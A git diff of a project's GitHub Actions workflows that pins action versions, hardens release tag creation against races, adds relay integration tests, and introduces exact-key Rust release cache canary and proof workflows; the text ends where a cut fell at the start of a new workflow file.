diff --git a/.github/workflows/auto-tag-on-release-pr-merge.yml b/.github/workflows/auto-tag-on-release-pr-merge.yml index a69eafb404..3db5c6baaa 100644 --- a/.github/workflows/auto-tag-on-release-pr-merge.yml +++ b/.github/workflows/auto-tag-on-release-pr-merge.yml @@ -45,7 +45,7 @@ jobs: github.event.pull_request.head.repo.full_name == github.repository runs-on: ubuntu-latest steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: ref: ${{ github.event.pull_request.merge_commit_sha }} fetch-depth: 0 @@ -111,8 +111,8 @@ jobs: PR_HEAD_REF: ${{ github.event.pull_request.head.ref }} PR_BASE_REF: ${{ github.event.pull_request.base.ref }} PR_HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }} - PR_PUSHER: ${{ github.event.pull_request.head.user.login }} MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }} + MERGED_AT: ${{ github.event.pull_request.merged_at }} run: | VERSION="${VERSION#desktop-v}" export VERSION @@ -147,7 +147,17 @@ jobs: exit 1 fi fi - gh api --method POST "repos/$GITHUB_REPOSITORY/git/refs" \ + if ! gh api --method POST "repos/$GITHUB_REPOSITORY/git/refs" \ -f ref="refs/tags/$TAG" \ -f sha="$TARGET_SHA" \ - --silent + --silent; then + # Ref creation is atomic. A concurrent retry may have won the race; + # accept that only when it created the exact immutable ref. + EXISTING_SHA="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)" + if [ "$EXISTING_SHA" = "$TARGET_SHA" ]; then + echo "Tag $TAG was concurrently created at $TARGET_SHA" + exit 0 + fi + echo "::error::Tag creation failed and $TAG resolves to $EXISTING_SHA (expected $TARGET_SHA)" + exit 1 + fi diff --git a/.github/workflows/benchmark-harbor.yml b/.github/workflows/benchmark-harbor.yml index 31efe933c5..6024f00575 100644 --- a/.github/workflows/benchmark-harbor.yml +++ b/.github/workflows/benchmark-harbor.yml @@ -20,7 +20,7 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 15 steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5 with: python-version: "3.12" diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bc594e16ad..e65157705a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -28,7 +28,7 @@ jobs: web: ${{ steps.filter.outputs.web }} mobile: ${{ steps.filter.outputs.mobile }} steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 2 - uses: dorny/paths-filter@7b450fff21473bca461d4b92ce414b9d0420d706 # v4.0.2 @@ -96,7 +96,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 with: @@ -117,7 +117,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - uses: rui314/setup-mold@9c9c13bf4c3f1adef0cc596abc155580bcb04444 # v1 - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 @@ -139,7 +139,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 2 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 @@ -235,7 +235,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - name: Get pnpm store directory id: pnpm-cache @@ -318,7 +318,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 # Reuse the relay binaries and backend test archive when none of their # inputs changed (desktop-only PRs hit this every time). The key covers @@ -391,7 +391,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - name: Start integration services run: | @@ -580,7 +580,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - name: Install cargo-nextest uses: taiki-e/install-action@0fd46367812ee04360509b4169d9f659d6892bb2 # v2.79.15 @@ -692,6 +692,18 @@ jobs: --run-ignored ignored-only env: DATABASE_URL: postgres://buzz:${{ env.BUZZ_TEST_POSTGRES_PASSWORD }}@localhost:5432/buzz + - name: Workspace profile (kind:9033) gate tests + # Call-site integration for the 9033 authorization gate: open relay + # rosterless/steward transitions and the closed-relay admin/owner rule, + # against real Postgres. #[ignore]d in the default suite, selected + # explicitly here — see handlers::relay_admin::tests. + run: | + cargo nextest run \ + --archive-file target/ci/backend-integration-tests.tar.zst \ + -E 'package(buzz-relay) and test(/handlers::relay_admin::tests/)' \ + --run-ignored ignored-only + env: + DATABASE_URL: postgres://buzz:${{ env.BUZZ_TEST_POSTGRES_PASSWORD }}@localhost:5432/buzz - name: NIP-ER reminder e2e # Feature e2e for NIP-ER (Event Reminders, kind:30300): write-path # validation, author-only read filtering, and scheduler delivery against @@ -704,6 +716,17 @@ jobs: --run-ignored ignored-only env: RELAY_URL: ws://localhost:3000 + - name: NIP-MP coordinate deletion guard + # Verifies the never-delete-newer invariant of soft_delete_by_coordinate: + # a stale tombstone (created_at earlier than the live head) spares that + # head, and an equal-timestamp tombstone deletes it. + run: | + cargo nextest run \ + --archive-file target/ci/backend-integration-tests.tar.zst \ + -E 'package(buzz-db) and test(coordinate_delete_spares_head_newer_than_the_deletion)' \ + --run-ignored ignored-only + env: + DATABASE_URL: postgres://buzz:${{ env.BUZZ_TEST_POSTGRES_PASSWORD }}@localhost:5432/buzz - name: Upload relay log if: failure() uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 @@ -721,7 +744,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 with: @@ -739,7 +762,7 @@ jobs: ./scripts/start-relay-for-tests.sh --no-build - name: Relay E2E tests run: | - cargo test -p buzz-test-client --test e2e_persona --test e2e_team_catalog --test e2e_nostr_interop -- --ignored --nocapture + cargo test -p buzz-test-client --test e2e_persona --test e2e_team_catalog --test e2e_nostr_interop --test e2e_project -- --ignored --nocapture cargo test -p buzz-test-client --test e2e_relay invite -- --ignored --nocapture cargo test -p buzz-test-client --test e2e_relay nip43_membership_snapshots_are_rejected -- --ignored --nocapture env: @@ -762,7 +785,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 2 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 @@ -797,7 +820,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 2 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 @@ -858,7 +881,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - name: Dependency policy run: cargo-deny check @@ -870,7 +893,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - name: Check for dead API token references in client code run: | # Fail if dead API token patterns reappear in desktop, mobile, docs, or config. @@ -899,7 +922,7 @@ jobs: - x86_64-unknown-linux-musl - aarch64-unknown-linux-musl steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 with: @@ -936,7 +959,7 @@ jobs: env: TARGET: x86_64-pc-windows-msvc steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 # MSVC needs windows.h (aws-lc-sys et al.), so this runs on a real Windows # runner — hermit, used by the Linux jobs, does not provide MSVC. The # toolchain (1.95.0 + clippy via profile = default) comes from the @@ -1000,7 +1023,7 @@ jobs: git log -1 --format=%s | grep -qx smoke echo "Host bash resolved and functional; git commit round-trip passed" - name: Check (Tauri crate) - run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --target $env:TARGET + run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --workspace --all-targets --target $env:TARGET env: CMAKE_POLICY_VERSION_MINIMUM: "3.5" - name: Test (Tauri crate) @@ -1017,7 +1040,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 with: @@ -1031,6 +1054,7 @@ jobs: mkdir -p desktop/src-tauri/binaries touch "desktop/src-tauri/binaries/buzz-acp-$TARGET" touch "desktop/src-tauri/binaries/buzz-agent-$TARGET" + touch "desktop/src-tauri/binaries/buzz-backend-kubernetes-$TARGET" touch "desktop/src-tauri/binaries/buzz-dev-mcp-$TARGET" touch "desktop/src-tauri/binaries/git-credential-nostr-$TARGET" touch "desktop/src-tauri/binaries/buzz-$TARGET" diff --git a/.github/workflows/desktop-release-cache-proof.yml b/.github/workflows/desktop-release-cache-proof.yml new file mode 100644 index 0000000000..cf9c8e7827 --- /dev/null +++ b/.github/workflows/desktop-release-cache-proof.yml @@ -0,0 +1,164 @@ +name: Desktop release cache tag-scope proof + +# Dispatch from a cache-proof-* tag at the same trusted-main SHA warmed by all +# four canaries. Every job restores only and requires an exact cache hit. +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + macos: + name: Prove macOS ${{ matrix.target }} cache visibility + if: github.repository == 'block/buzz' + runs-on: macos-latest + timeout-minutes: 15 + strategy: + fail-fast: false + matrix: + include: + - target: aarch64-apple-darwin + features: mesh-llm + - target: x86_64-apple-darwin + features: default + steps: + - name: Require cache proof tag + run: '[[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; }' + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 + - name: Patch proof dependency graph + run: | + cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof" + cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT" + - name: Compute exact release cache key + id: rust_cache_key + env: + CACHE_TARGET: ${{ matrix.target }} + CACHE_FEATURES: ${{ matrix.features }} + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target "$CACHE_TARGET" --features "$CACHE_FEATURES" --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + - name: Restore exact default-branch cache from tag + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Require exact cache hit + env: + CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }} + CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }} + EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }} + run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }' + + linux: + name: Prove Linux cache visibility + if: github.repository == 'block/buzz' + runs-on: ubuntu-latest + container: ubuntu:24.04@sha256:4fbb8e6a8395de5a7550b33509421a2bafbc0aab6c06ba2cef9ebffbc7092d90 + timeout-minutes: 15 + defaults: + run: + shell: bash + steps: + - name: Require cache proof tag and install release native tools + run: | + [[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; } + apt-get update + apt-get install -y --no-install-recommends build-essential ca-certificates curl git libasound2-dev libayatana-appindicator3-dev libgtk-3-dev librsvg2-dev libssl-dev libwebkit2gtk-4.1-dev libxdo-dev patchelf pkg-config + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + - run: git config --global --add safe.directory "$GITHUB_WORKSPACE" + - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 + - name: Patch proof dependency graph + run: | + cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof" + cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh linux)" >> "$GITHUB_OUTPUT" + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target x86_64-unknown-linux-gnu --features mesh-llm --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + - name: Restore exact default-branch cache from tag + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Require exact cache hit + env: + CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }} + CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }} + EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }} + run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }' + + windows: + name: Prove Windows cache visibility + if: github.repository == 'block/buzz' + runs-on: windows-latest + timeout-minutes: 15 + steps: + - name: Require cache proof tag + shell: bash + run: '[[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; }' + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + - name: Patch proof dependency graph + shell: bash + run: | + cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof" + cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + shell: bash + run: echo "id=$(scripts/desktop-native-toolchain-id.sh windows)" >> "$GITHUB_OUTPUT" + - name: Compute exact release cache key + id: rust_cache_key + shell: bash + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target x86_64-pc-windows-msvc --features default --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + - name: Restore exact default-branch cache from tag + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Require exact cache hit + shell: bash + env: + CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }} + CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }} + EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }} + run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }' diff --git a/.github/workflows/desktop-release-candidate.yml b/.github/workflows/desktop-release-candidate.yml new file mode 100644 index 0000000000..61ccc800af --- /dev/null +++ b/.github/workflows/desktop-release-candidate.yml @@ -0,0 +1,28 @@ +name: Desktop Release Candidate + +on: + pull_request: + branches: [main] + +permissions: + contents: read + pull-requests: read + +jobs: + validate: + name: Desktop Release Candidate + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + ref: ${{ github.event.pull_request.head.sha }} + fetch-depth: 0 + persist-credentials: false + - name: Validate immutable desktop candidate + if: startsWith(github.event.pull_request.head.ref, 'version-bump/') + env: + GH_TOKEN: ${{ github.token }} + VERSION: ${{ github.event.pull_request.head.ref }} + run: | + VERSION="${VERSION#version-bump/}" + scripts/desktop_release.py validate --candidate HEAD --version "$VERSION" --repo "$GITHUB_REPOSITORY" diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index 655c533b75..dbdc661905 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -102,7 +102,7 @@ jobs: steps: - name: Checkout - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 0 persist-credentials: false @@ -360,7 +360,7 @@ jobs: arch: arm64 steps: - name: Checkout - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 0 persist-credentials: false diff --git a/.github/workflows/helm-chart.yml b/.github/workflows/helm-chart.yml index e3d443d9f3..7118d16708 100644 --- a/.github/workflows/helm-chart.yml +++ b/.github/workflows/helm-chart.yml @@ -59,7 +59,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 with: # On chart-tag rescue dispatch, lint/render the tagged commit that the # publish job will package, not whatever `main` is when the dispatch @@ -119,7 +119,7 @@ jobs: permissions: contents: read steps: - - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 with: fetch-depth: 0 @@ -166,7 +166,7 @@ jobs: packages: write # push the chart to GHCR steps: - name: Checkout - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 with: # On the rescue dispatch, build the tagged commit (github.ref is # `main` there); on a tag push, the default ref is already the tag. diff --git a/.github/workflows/linux-canary.yml b/.github/workflows/linux-canary.yml index 9806443378..d8b10032b2 100644 --- a/.github/workflows/linux-canary.yml +++ b/.github/workflows/linux-canary.yml @@ -7,8 +7,8 @@ name: Linux Canary # Design notes vs. signed-macos-canary.yml: # - fix-appimage.sh is run without signing env vars; the script detects # their absence and skips re-signing, repacking only (documented inline). -# - mold linker added (rui314/setup-mold) to reduce link time, matching -# the Linux Rust CI jobs in ci.yml. +# - Build tools match release.yml; cache keys derive the concrete linker and +# native library identity rather than assuming the moving runner image. # - pnpm store restore/save pattern mirrors ci.yml:149-196. on: workflow_dispatch: @@ -83,18 +83,6 @@ jobs: - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - - uses: rui314/setup-mold@9c9c13bf4c3f1adef0cc596abc155580bcb04444 # v1 - - # Rust cache covering both the workspace sidecar build and the Tauri - # crate build. shared-key scoped to linux-canary-release so canary runs - # warm each other without colliding with CI's debug-profile keys. - - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 - with: - workspaces: | - . - desktop/src-tauri - shared-key: linux-canary-release - - name: Install appimagetool run: | case "$(uname -m)" in @@ -154,6 +142,38 @@ jobs: cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh linux)" >> "$GITHUB_OUTPUT" + + # Compute this after cargo update so the key describes the graph that is + # actually compiled. The helper normalizes only Buzz Desktop's release + # version, allowing a canary to warm an otherwise identical tag build. + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target x86_64-unknown-linux-gnu \ + --features mesh-llm \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Generate non-updating bundle config run: | cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON' @@ -166,11 +186,11 @@ jobs: - name: Build sidecars run: | - cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli ./scripts/bundle-sidecars.sh - name: Build Linux Tauri app - run: cd desktop && pnpm tauri build --ci --bundles deb,appimage --config src-tauri/tauri.canary.conf.json + run: cd desktop && pnpm tauri build --ci --bundles deb,appimage --features mesh-llm --config src-tauri/tauri.canary.conf.json env: CMAKE_POLICY_VERSION_MINIMUM: "3.5" @@ -190,6 +210,24 @@ jobs: fi bash desktop/scripts/fix-appimage.sh "${APPIMAGES[0]}" + - name: Measure release Cargo cache inputs + if: always() + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + # Only this trusted, main-bound canary writes the cache. Excluding bundle + # output prevents installers from entering it. + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Save pnpm store cache uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 with: diff --git a/.github/workflows/macos-intel-canary.yml b/.github/workflows/macos-intel-canary.yml new file mode 100644 index 0000000000..35b05313c9 --- /dev/null +++ b/.github/workflows/macos-intel-canary.yml @@ -0,0 +1,126 @@ +name: macOS Intel Canary + +# Produces an unsigned Intel DMG from trusted main. Its release-equivalent +# Cargo state warms the distinct x86_64 release target without signing or +# publishing anything. +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + build: + name: Build macOS Intel canary + if: github.repository == 'block/buzz' + runs-on: macos-latest + timeout-minutes: 60 + env: + TARGET: x86_64-apple-darwin + steps: + - name: Require main + env: + SOURCE_REF: ${{ github.ref }} + run: | + if [[ "$SOURCE_REF" != "refs/heads/main" ]]; then + echo "::error::Canary builds must run from main; got $SOURCE_REF" + exit 1 + fi + + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + + - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 + + - name: Add Rust target + run: rustup target add "$TARGET" + + - name: Install desktop dependencies + run: just desktop-install-ci + + - name: Derive and patch canary version + run: | + BASE_VERSION=$(node -p "require('./desktop/package.json').version") + VERSION="${BASE_VERSION%%-*}-intel-test.${GITHUB_RUN_NUMBER}" + cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" + cd src-tauri && cargo update --workspace + + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT" + + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target "$TARGET" \ + --features default \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + + - name: Generate non-updating bundle config + run: | + cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON' + {"bundle":{"createUpdaterArtifacts":false,"macOS":{"minimumSystemVersion":"10.15"}}} + JSON + + - name: Build Intel sidecars + run: | + cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + ./scripts/bundle-sidecars.sh "$TARGET" + + - name: Build unsigned Intel DMG + run: cd desktop && pnpm tauri build --verbose --no-sign --target "$TARGET" --bundles dmg --config src-tauri/tauri.canary.conf.json + env: + CMAKE_POLICY_VERSION_MINIMUM: "3.5" + MACOSX_DEPLOYMENT_TARGET: "10.15" + CMAKE_OSX_DEPLOYMENT_TARGET: "10.15" + TAURI_BUNDLER_DMG_IGNORE_CI: "true" + + - name: Locate fresh Intel DMG + id: artifact + run: | + DMG=$(find "desktop/src-tauri/target/${TARGET}/release/bundle/dmg" -name '*.dmg' -type f | head -1) + [[ -n "$DMG" ]] || { echo "::error::No Intel DMG found"; exit 1; } + echo "dmg=$DMG" >> "$GITHUB_OUTPUT" + + - name: Upload Intel canary + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: buzz-macos-intel-canary-${{ github.sha }} + path: ${{ steps.artifact.outputs.dmg }} + if-no-files-found: error + retention-days: 7 + + - name: Measure release Cargo cache inputs + if: always() + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} diff --git a/.github/workflows/mesh-lifecycle.yml b/.github/workflows/mesh-lifecycle.yml new file mode 100644 index 0000000000..4780083ba4 --- /dev/null +++ b/.github/workflows/mesh-lifecycle.yml @@ -0,0 +1,111 @@ +name: 